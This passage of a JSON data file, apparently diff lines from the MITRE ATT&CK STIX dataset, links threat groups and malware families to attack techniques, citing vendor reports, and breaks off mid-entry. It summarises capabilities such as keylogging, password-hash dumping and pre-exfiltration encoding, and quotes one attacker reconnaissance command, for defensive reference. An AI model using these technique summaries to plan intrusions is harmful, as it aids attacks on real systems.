"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) encodes files before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5ac475f9-f253-44db-861e-c7303961aa6c", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used PowerShell for execution and privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--110690db-fd9b-425a-9269-ec082f0af3f9", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim username and encrypts the information to send over its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--06ef19c1-8490-42cc-b345-45f3aa29fc5f", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97", + "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.", + "source_name": "Dell P2P ZeuS", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[yty](https://attack.mitre.org/software/S0248) uses a keylogger plugin to gather keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b2f180de-6c03-41cd-a6ed-a49ac674740b", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--788ca56e-1194-4c5f-a12b-72678390f1ef", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can capture the victim\u2019s screen remotely.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.858Z", + "id": "relationship--b0a40611-da3c-4447-b0af-fa66f927b623", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.916Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve usernames from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2d1bee29-c394-48ca-8ded-21fd86e3ff43", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.219Z", + "id": "relationship--07702379-2d40-48ae-a077-d68e0da5e4be", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.867Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--469585eb-231d-4ecb-8fc5-fb4f538c3875", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.081Z", + "id": "relationship--3e370a6e-2a3c-4e56-aa57-fecab8d09709", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Fgdump](https://attack.mitre.org/software/S0120) can dump Windows password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f1d5a985-406e-4b03-9f55-2706a2adba92", + "source_ref": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can upload and download files to and from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.971Z", + "id": "relationship--ad787fb5-9d63-423d-941f-bfe7648b2e24", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) encodes communications to the C2 server in Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--596f9132-84e2-42c9-ad58-8833fe38b1e6", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect the victim's IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getProcessList function to run ps aux to get running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) captures keystrokes and sends them back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5375b22d-1da8-4178-b728-5b91b6917a5c", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3d988f8f-2448-409c-ac41-4a507bb8cf23", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.916Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to display network connections: netstat -ano >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--9fef204f-163a-4c9d-b9b1-8a168074063a", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used port 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d0ed6995-15c9-4221-9783-4b61281d1d02", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to discover processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies documents under 15MB found on the victim system to is the user's %temp%\\SMB\\ folder. It also copies files from USB devices to a predefined directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--db8f1355-57f0-446d-a261-b168497b20c6", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) communicates over raw TCP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--65493f92-06f8-407c-8fdb-f53706849b12", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with Microsoft Office attachments to target victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1da542f3-0003-4eb7-9bb6-1bd3cced9763", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) enables remote interaction and can obtain additional code over HTTPS GET and POST requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ae3a87db-018b-441d-bc5c-4f7e30ce5551", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": 